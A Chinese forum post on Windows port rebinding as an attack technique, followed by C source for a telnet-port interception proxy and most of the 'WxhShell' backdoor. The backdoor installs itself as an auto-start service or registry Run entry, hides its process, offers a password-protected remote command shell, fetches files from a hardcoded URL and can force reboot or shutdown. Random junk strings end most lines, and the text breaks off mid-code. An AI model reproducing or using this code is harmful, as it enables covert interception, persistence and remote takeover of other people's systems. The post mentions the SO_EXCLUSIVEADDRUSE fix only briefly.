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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: '6%2.[ o  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #o#H?Vo9b  
8YSAf+{FtK  
  saddr.sin_family = AF_INET; QoT;WM Z  
z<' u1l3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); tc_3sC7jN  
- 1gVeT&  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .(k|wX[Fu~  
%d9uTm;  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >i?oC^QM  
O?#7N[7  
  这意味着什么?意味着可以进行如下的攻击: @`9]F7h5W  
wN~_v-~*Q  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Ml-6OvQ7g  
V(!V_Ug9.  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $/Uq0U  
{]4LULq  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 sK?twg;D*|  
~*];pV]A[  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $6R-5oQ  
5]:U9ts#  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 j^RmrOg ,  
NC6&x=!3  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 H3-hcx54T  
e~"U @8xk~  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;#< 0<  
:?1Dko^  
  #include \1M4Dl5!  
  #include 0?|<I{z2  
  #include NL+N%2XG7  
  #include    wi{3/  
  DWORD WINAPI ClientThread(LPVOID lpParam);   O+x!Bg7   
  int main() +X 88;-  
  { yyTnL 2Y9  
  WORD wVersionRequested; ]u/sphPe  
  DWORD ret; G7/ +ogV  
  WSADATA wsaData; 1<aP92/N&  
  BOOL val; g2Z`zQA7  
  SOCKADDR_IN saddr; }3WxZv]I}  
  SOCKADDR_IN scaddr; aV0"~5  
  int err; ]\HvKCN}  
  SOCKET s; /&J T~M  
  SOCKET sc; "qy,*{~  
  int caddsize; +k R4E23:  
  HANDLE mt; [AJJSd/:  
  DWORD tid;   nQ3A~ ()  
  wVersionRequested = MAKEWORD( 2, 2 );  &q*Aj17  
  err = WSAStartup( wVersionRequested, &wsaData ); 42ge3>  
  if ( err != 0 ) { R`-S/C  
  printf("error!WSAStartup failed!\n"); MVUJD{X#  
  return -1; A?OQE9'  
  } J C}D` h  
  saddr.sin_family = AF_INET; |-~Y#]  
   Pr C{'XDlU  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 a(ZcmYzXU  
{Qj~M<@3  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @oGcuE  
  saddr.sin_port = htons(23); +:/%3}`  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :7;@ZEe  
  { H3oFORh  
  printf("error!socket failed!\n"); "_?nN"A7  
  return -1; {?7Uj  
  } w_VP J  
  val = TRUE; b*lkBqs$  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 MomwX  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ;8 lfOMf  
  { +&H4m=D-#a  
  printf("error!setsockopt failed!\n"); P[fq8lDA  
  return -1; sNFlKQ8)Q  
  } $<[79al#  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; }c:M^Ff  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 G=bCNn<  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [()koU#w.  
5 SQ 8}Or3  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [mueZQyI?0  
  { YuwI&)l  
  ret=GetLastError(); |;{6& S  
  printf("error!bind failed!\n"); 7 _[L o4_  
  return -1; >=w)x,0yX  
  } 2MK-5 Kg  
  listen(s,2); dlnX_+((KC  
  while(1) ^xk'Z  
  { @>7%qS  
  caddsize = sizeof(scaddr); WTiD[u  
  //接受连接请求 llDkJ)\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); jSaU?ac  
  if(sc!=INVALID_SOCKET) ;qV>L=a  
  { iK;XZZ(  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); w&.a QGR#  
  if(mt==NULL) M D#jj3y  
  { h;'~,xA  
  printf("Thread Creat Failed!\n"); 0b 54fD=  
  break; b\,+f n  
  } y8xE 6i  
  } wb ;xRP"w  
  CloseHandle(mt); qmP].sA  
  } ]eV8b*d6  
  closesocket(s); K:WDl;8 (d  
  WSACleanup(); 62NsJ<#>  
  return 0; b#o|6HkW  
  }   ]/{)bpu  
  DWORD WINAPI ClientThread(LPVOID lpParam) q1ma%eiN  
  { PZzMHK?hP  
  SOCKET ss = (SOCKET)lpParam; iU:cW=W|M\  
  SOCKET sc; !bP@n  
  unsigned char buf[4096]; {K!)Ss  
  SOCKADDR_IN saddr; V28M lP  
  long num; yIE!j %u  
  DWORD val; z0 Z%m@  
  DWORD ret; !d T4  
  //如果是隐藏端口应用的话,可以在此处加一些判断 5~S5F3  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   l Nv|M)I  
  saddr.sin_family = AF_INET; s,_m{ to  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Rk8P ax/JK  
  saddr.sin_port = htons(23); NX&_p!_V  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) dQG=G%W  
  { qxJ\ye+'*  
  printf("error!socket failed!\n"); #p{4^  
  return -1; "uf%iJ:%  
  } *=xr-!MEk  
  val = 100;  _','9|  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {\\T gs  
  { U%/+B]6jP  
  ret = GetLastError(); '0,^6'VWOV  
  return -1; 2+WaA ,   
  } H6gSO(U  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &,)&%Sg[  
  { IvNT6]6 P  
  ret = GetLastError(); iJ|uvPCE  
  return -1; K|s, ru  
  } Y\hBd$lQ~  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6E}qL8'5x  
  { .ccp  
  printf("error!socket connect failed!\n"); VG~Vs@c(  
  closesocket(sc); :MDKC /mC  
  closesocket(ss); @KUWxFak  
  return -1; bQ5\ ]5M  
  } 4`=m u}Y2  
  while(1) |+"(L#wk  
  { ]{>,rK[So  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 %xt^698&X  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 3=;<$+I6  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 R/a*LSe@&  
  num = recv(ss,buf,4096,0); (4-CF3D  
  if(num>0) CTA 3*Gn  
  send(sc,buf,num,0); ( uidNq  
  else if(num==0) h FBe,'3M  
  break; ] }X  
  num = recv(sc,buf,4096,0); J?$,c4;W2  
  if(num>0) '4<1 1(U  
  send(ss,buf,num,0); k==h|\|  
  else if(num==0) AwF:Iu^3n  
  break; |vzl. ^"-  
  } h@wgd~X9  
  closesocket(ss); Z5]>pJFq,  
  closesocket(sc); l9H!au=  
  return 0 ; 7cMv/g^ h@  
  } uXl3k:_n  
An/|+r\  
3irl (;v  
========================================================== '/%H3A#L  
H" 7u7l  
下边附上一个代码,,WXhSHELL k~z Iy;AZ  
2I{"XB  
========================================================== pI<f) r  
l}M!8:UzU  
#include "stdafx.h" o[D9I hs  
Srd4))2/0  
#include <stdio.h> is@?VklnB  
#include <string.h> 5Jnlz@P9  
#include <windows.h> E&:,oG2M  
#include <winsock2.h> I1&aM}y{G  
#include <winsvc.h> \z} Ic%Tp  
#include <urlmon.h> +8ZF"{y  
q- d:TMkc  
#pragma comment (lib, "Ws2_32.lib") Y`wSv NU  
#pragma comment (lib, "urlmon.lib") 7E!5G2XX~~  
cQ_Hp <D  
#define MAX_USER   100 // 最大客户端连接数 "5$B>S(Q  
#define BUF_SOCK   200 // sock buffer UJ6v(:z <  
#define KEY_BUFF   255 // 输入 buffer eb$#A _m  
lqpp)Cq  
#define REBOOT     0   // 重启 1[-tD 0{H  
#define SHUTDOWN   1   // 关机 JOBhx)E  
[z9Z5sLO  
#define DEF_PORT   5000 // 监听端口 '@P^0+B!(.  
KJZ4AWH`  
#define REG_LEN     16   // 注册表键长度 +m,yA mEEd  
#define SVC_LEN     80   // NT服务名长度 )@bQu~Y  
,~W|]/b<q  
// 从dll定义API x'R`. !g3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Od)C&N=y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9( wK@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Wo=jskBrQ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `Ryp% Bn  
<1M-Ro?5k  
// wxhshell配置信息 Aq7osU1B  
struct WSCFG { @7n"yp*"  
  int ws_port;         // 监听端口 j"Pv0tehw  
  char ws_passstr[REG_LEN]; // 口令 h@@=M  
  int ws_autoins;       // 安装标记, 1=yes 0=no S ByW[JE  
  char ws_regname[REG_LEN]; // 注册表键名 @U}1EC{A  
  char ws_svcname[REG_LEN]; // 服务名 H} g{Cr"Ex  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |LKXOU c  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 DM>eVS3}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 VVOd]2{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3sZ\0P}   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,s;Uf F  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u,4eCxYE$  
v/=}B(TDF  
}; JqiP>4Uwm^  
jo@J}`\Zt  
// default Wxhshell configuration jW@Uo=I[  
struct WSCFG wscfg={DEF_PORT, *-p}z@8  
    "xuhuanlingzhe", Mf``_=K  
    1, uu687|Pm  
    "Wxhshell", H$4:lH&(  
    "Wxhshell", h9W^[6  
            "WxhShell Service", /&94 eC  
    "Wrsky Windows CmdShell Service", ,zY$8y]  
    "Please Input Your Password: ", 'uEl~> l7  
  1, 2jhxQL  
  "http://www.wrsky.com/wxhshell.exe", AYx{U?0p  
  "Wxhshell.exe" N]sAji*  
    }; I,8Er2;)  
C;urBsC  
// 消息定义模块 uGlUc<B\*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3m)y|$R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; um0N)&iY  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P";'jVcR  
char *msg_ws_ext="\n\rExit."; 83q6Sv  
char *msg_ws_end="\n\rQuit."; ^y%T~dLkp'  
char *msg_ws_boot="\n\rReboot..."; }vM("v|M  
char *msg_ws_poff="\n\rShutdown..."; R~$qo)v  
char *msg_ws_down="\n\rSave to "; V~5jfcd  
92KRb;c  
char *msg_ws_err="\n\rErr!"; 6NHX2Ja  
char *msg_ws_ok="\n\rOK!"; &.?'i1!  
n.(FQx.F  
char ExeFile[MAX_PATH]; C3YT1tK  
int nUser = 0; w`zTR0`  
HANDLE handles[MAX_USER]; E^eVvP4uC@  
int OsIsNt; ixD)VcD-f  
CzEd8jeh7  
SERVICE_STATUS       serviceStatus;  kPLxEwl  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; W6/yn  
D >tR-  
// 函数声明 ^DwYOo2B  
int Install(void); p.?rey<%  
int Uninstall(void); LSr]S79N1  
int DownloadFile(char *sURL, SOCKET wsh); ~R92cH>L  
int Boot(int flag); ,\%c^,HLJ  
void HideProc(void); )I.$=s  
int GetOsVer(void); B0]~el  
int Wxhshell(SOCKET wsl); 6,{$J  
void TalkWithClient(void *cs); ZzT9j~  
int CmdShell(SOCKET sock); Y/zj[>  
int StartFromService(void); QMbOuw  
int StartWxhshell(LPSTR lpCmdLine); WI-1)1t  
?<'}r7D   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #4 pB@_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); hQDXlFHT  
r\V ={p  
// 数据结构和表定义 OpYY{f  
SERVICE_TABLE_ENTRY DispatchTable[] = AkQ ~k0i}b  
{ !d0kV,F:  
{wscfg.ws_svcname, NTServiceMain}, Y`S vMkP)+  
{NULL, NULL} D!IY&H,wo  
}; _"rgET`vW  
Z>5b;8  
// 自我安装 pg)WKbV  
int Install(void) *CI#+P  
{ G*P#]eO  
  char svExeFile[MAX_PATH]; ^3L0w}#  
  HKEY key; cH t#us  
  strcpy(svExeFile,ExeFile); |_@>*Vmg  
IB] l1<  
// 如果是win9x系统,修改注册表设为自启动 j+  0I-p  
if(!OsIsNt) { VS8Rx.?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]-/VHh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?2Py_gkf  
  RegCloseKey(key); -C?ZB}`   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L0WN\|D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'AS|ZRr/  
  RegCloseKey(key); xYpd: Sm  
  return 0; k_nql8H  
    } E#N|w q  
  } ZX./P0  
} `&ckZiq  
else { ]|P iF+  
_^%,x  
// 如果是NT以上系统,安装为系统服务 zue~ce73J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^sLdAC  
if (schSCManager!=0) Cd}<a?m,  
{ VQ9/Gxdeo  
  SC_HANDLE schService = CreateService ) ahA[  
  ( nk' s_a*Z  
  schSCManager, sN01rtB(UT  
  wscfg.ws_svcname, 6zuTQ^pz  
  wscfg.ws_svcdisp, fHd#u%63K  
  SERVICE_ALL_ACCESS, $C$V%5aA  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V{3x!+q  
  SERVICE_AUTO_START, -fW*vE:  
  SERVICE_ERROR_NORMAL, &(l9?EVq1  
  svExeFile, }*pi<s  
  NULL, <k'h:KB?`  
  NULL, 1ztG;\  
  NULL, :(*V?WI  
  NULL, K:# I  
  NULL a'yK~;+_9  
  ); LIF7/$,0  
  if (schService!=0) VY=jc~c]v  
  { h^(* Tv-!  
  CloseServiceHandle(schService); dn$!&  
  CloseServiceHandle(schSCManager); z/2//mM  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); '$]97b7G  
  strcat(svExeFile,wscfg.ws_svcname); >$/>#e~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O)n~](sC\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9gK` E  
  RegCloseKey(key); y(yHt= r  
  return 0; HJ[cM6$2  
    } O:{~urV  
  } 9w"4K.  
  CloseServiceHandle(schSCManager); 1JG'%8}#8  
} L2i_X@/  
} ~YWQ2]  
wIaony  
return 1; =|y9UlsD  
} j[J-f@F \Y  
E,x+JeKV  
// 自我卸载 xHLlMn4M  
int Uninstall(void) r1{@Ucw2  
{ ">,|V-H  
  HKEY key; LG|fq/;  
kxIF#/8  
if(!OsIsNt) { H;k~oIs k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #rQ2gx4  
  RegDeleteValue(key,wscfg.ws_regname); 2E)-M9ds  
  RegCloseKey(key); w4{<n /"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { paE[rS\  
  RegDeleteValue(key,wscfg.ws_regname); 3J|F?M"N7  
  RegCloseKey(key); \aUC(K~o\;  
  return 0; V1 `o%;j  
  } RmeD$>7  
} K+K#+RBK  
} (Y?gn)*t  
else { &>W$6>@  
j[G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $2M$?4S/T  
if (schSCManager!=0) Y0dEH^I  
{ x,@B(9No  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Zbt.t] N  
  if (schService!=0) '9Xu p  
  { $$;M^WV^?.  
  if(DeleteService(schService)!=0) { /cQueUME`  
  CloseServiceHandle(schService); _P 3G  
  CloseServiceHandle(schSCManager); rCbDu&k]  
  return 0; SaAFz&WRl  
  } `*cxH..  
  CloseServiceHandle(schService); 3-qr)h  
  } &4x}ppX  
  CloseServiceHandle(schSCManager); 0#s"e}@v  
} )|R)Q6UJ  
} t[;LD_  
5o'FS{6U  
return 1; U!?_W=?  
} ;oKZ!ND  
6"5A%{ J  
// 从指定url下载文件 6"O+w=5B  
int DownloadFile(char *sURL, SOCKET wsh) qHplJ "  
{ Zd}9O jz5  
  HRESULT hr; _~J {wM  
char seps[]= "/"; "R1NG?; q  
char *token; O1U=X:Zl  
char *file; oAJM]%g{  
char myURL[MAX_PATH]; ):68%,  
char myFILE[MAX_PATH]; M2>Vj/  
 +yH7v5W  
strcpy(myURL,sURL); z2_*%S@  
  token=strtok(myURL,seps); kYqU9cB~  
  while(token!=NULL) 6azGhxh  
  { 2Aazy'/  
    file=token; ~Z?TFg  
  token=strtok(NULL,seps); %G_B^p4  
  } nn:.nU|I  
Vvn2 Ep  
GetCurrentDirectory(MAX_PATH,myFILE); 2~1SQ.Q<RY  
strcat(myFILE, "\\"); Is)u }  
strcat(myFILE, file); m '|b GV  
  send(wsh,myFILE,strlen(myFILE),0); t?x<g<PJ4  
send(wsh,"...",3,0); rq/yD,I,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r6MMCJ|G  
  if(hr==S_OK) ;4^Rx  
return 0; kHghPn?8]  
else 2G67NC?+  
return 1; :uq\+(9  
tqvN0vY5  
} ug!s7fo^  
J6s`'gFns  
// 系统电源模块 qo90t{|c  
int Boot(int flag) Ustv{:7v  
{ <ro7vPKNa  
  HANDLE hToken; q77;ZPfs8  
  TOKEN_PRIVILEGES tkp; /ivJsPH  
i&Tbz!  
  if(OsIsNt) { j9x<Y]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _"Dv uR  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7a =gH2]&  
    tkp.PrivilegeCount = 1; L%*!`TN  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; * J7DY f  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); L O_k@3  
if(flag==REBOOT) { SO|NaqWa  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [fya)}  
  return 0; @Q ]=\N:  
} zUkgG61  
else { dUeN*Nq&(,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )BZ.Sv  
  return 0; KQaxvU)L  
} @w#-aGJO  
  } q1$N>;&  
  else { p*R;hU  
if(flag==REBOOT) { }{K) 4M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) W7R<%?  
  return 0; UN;H+gNnN  
} 0U(@= 7V  
else { {3>$[bT  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ga-k  
  return 0; :j9l"5"  
} <Dl*l{zba  
} VuhGx:Xl  
*KZYv=s,u  
return 1; M)J5;^["  
} ]^.  _z  
RVnjNy;O`  
// win9x进程隐藏模块 iW]j9}t  
void HideProc(void) }W C[$Y_@  
{ n Mq,F#`3N  
KVoS C @w  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5Md=-,'J!  
  if ( hKernel != NULL ) sQ UM~HD\a  
  { ="1Ind@w!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {nBhdM:i  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >\-hO&%_  
    FreeLibrary(hKernel); tzWSA-Li  
  } .;y.]Z/;  
Z, zWuE3  
return; aD<A.Lhy  
} Q Uwd [  
j78i #}e  
// 获取操作系统版本 %~O,zs.2p  
int GetOsVer(void) er("wtM  
{ .KB^3pOpx  
  OSVERSIONINFO winfo; &n}]w+w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X[-xowE-  
  GetVersionEx(&winfo); `&r+F/Ap2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #`qx<y*S  
  return 1; dc+>m,3$  
  else 2.`\  
  return 0; Fd%#78UEo}  
} #5Qpu  
c?(4t67|  
// 客户端句柄模块 vONasD9At  
int Wxhshell(SOCKET wsl) p,EQ#Ik  
{ 9%o 32eo,3  
  SOCKET wsh; +xh`Q=A  
  struct sockaddr_in client; L4@K~8j7  
  DWORD myID; B?eCe}*f;B  
0JWDtmK=C  
  while(nUser<MAX_USER) !j8FIY'[  
{ wjU9ZGM  
  int nSize=sizeof(client); GL>O4S<`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); afCW(zH p  
  if(wsh==INVALID_SOCKET) return 1; yJ[0WY8<kC  
Hck]aKI+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G*?8MTP8![  
if(handles[nUser]==0) a(m2n.0'>  
  closesocket(wsh); e[{0)y>=  
else fF!Yp iI"  
  nUser++; sf:,qD=z  
  } KaLzg5is  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Hc;[Cs0  
+r�  
  return 0; SpIv#?  
} Yj<a" Gr4[  
k90YV(  
// 关闭 socket iOf<$f  
void CloseIt(SOCKET wsh) $H2u.U<ip  
{ *l(7D(#  
closesocket(wsh); 3p$?,0ELH  
nUser--; *[Imn\hu  
ExitThread(0); `Y0%c Xi3  
} R)?*N@.s  
,5P0S0*{  
// 客户端请求句柄 [CTnXb  
void TalkWithClient(void *cs) /m!BY}4W  
{ #JqB ;'\  
xS5vbJ  
  SOCKET wsh=(SOCKET)cs; K6)Gc%:`  
  char pwd[SVC_LEN]; vRTkgH#4l  
  char cmd[KEY_BUFF]; v1#otrf  
char chr[1]; ,X?{07gH  
int i,j; h,(26 y/s  
CmWeY$Jb  
  while (nUser < MAX_USER) { j}#w )M  
[DYQ"A= )d  
if(wscfg.ws_passstr) { ]E{NNHK%2N  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _kC-dEGf!y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i9:C4',sw0  
  //ZeroMemory(pwd,KEY_BUFF); !K#qeY}  
      i=0; a)!o @  
  while(i<SVC_LEN) { b35fs]}u-6  
xEa\f[.An  
  // 设置超时 i:dR\|B  
  fd_set FdRead; f'F?MINJP  
  struct timeval TimeOut; Q*GN`07@?d  
  FD_ZERO(&FdRead); mwO6g~@ `  
  FD_SET(wsh,&FdRead); %J}xg^+f  
  TimeOut.tv_sec=8; *j|~$e}C  
  TimeOut.tv_usec=0; 3h]g}&k  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mupT<_Y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); b8H{8{wi|  
,10=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wC"FDr+  
  pwd=chr[0]; M+oHtX$  
  if(chr[0]==0xd || chr[0]==0xa) { XjBW9a  
  pwd=0; 05|=`eJ  
  break; )|cc X  
  } MnmVl"(/  
  i++; hy9\57_#  
    } 1l9 G[o *  
Oz.HH  
  // 如果是非法用户,关闭 socket EX*HiZU>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4a&RYx  
} 2bz2KB5>  
//B&k`u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;2G*wR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &.3"Uo\#  
&*o=I|pQ  
while(1) { }ZYd4h|g\z  
3s*mbk[J  
  ZeroMemory(cmd,KEY_BUFF); `4r 3l S  
_9ao?:  
      // 自动支持客户端 telnet标准   +tB=OwU%0  
  j=0; [\]50=&  
  while(j<KEY_BUFF) { =&6eM2>P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JhYe6y[q  
  cmd[j]=chr[0]; Z<oaK  
  if(chr[0]==0xa || chr[0]==0xd) { *9 {PEx  
  cmd[j]=0; b\f O8{k  
  break; xl{=Y< ;  
  } ]dVGUG8  
  j++; 4>YR{  
    } cs48*+m  
_r#Z}HK  
  // 下载文件 ZT*ydln  
  if(strstr(cmd,"http://")) { '(6z. toQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %64 )(z  
  if(DownloadFile(cmd,wsh)) `K"L /I9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _=r6=.  
  else /*~EO{o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qfF~D0}  
  } D'>_I.  
  else { kb%;=t2  
A.F%Ycq  
    switch(cmd[0]) { IuDS*/Sx  
  +D6YR$_<  
  // 帮助 y<UK:^t31V  
  case '?': { j{ ]I]\=?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); alJ)^OSIe  
    break; E#34Wh2z  
  } z9f-.72"X  
  // 安装 /A\8 mL8  
  case 'i': { !"e5h`/ADM  
    if(Install()) =}^9 wP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AD> e?u  
    else :]K4KFM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3ZuZ/=  
    break; !vi> U|rh  
    } D_2:k'4  
  // 卸载 _oL?*ks  
  case 'r': { umBICC]CU  
    if(Uninstall()) W ~<^L\Lu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y8y5*e~A-)  
    else iO$8:mxm0?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Cl.x'v  
    break; !<|4C6X:4  
    } sfH_5 #w  
  // 显示 wxhshell 所在路径 5&g@3j]  
  case 'p': { Oamg]ST  
    char svExeFile[MAX_PATH]; ]OhiYU4  
    strcpy(svExeFile,"\n\r"); $QF{iV@6d4  
      strcat(svExeFile,ExeFile); f^ZRT@`O  
        send(wsh,svExeFile,strlen(svExeFile),0); >~rTqtKd  
    break; Oxnp0 s  
    } FgnTGY}  
  // 重启 t^-d/yKt0w  
  case 'b': { R+:yVi[F]U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OF>mF~  
    if(Boot(REBOOT)) 2>9C-VL2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1.JK3 3  
    else { .#!lP/.eQP  
    closesocket(wsh); Y|m +dT6  
    ExitThread(0); jwe*(k]z  
    } lgAoJ[  
    break; 5<k"K^0QS  
    } ~\SGb_2  
  // 关机 B4/>H|  
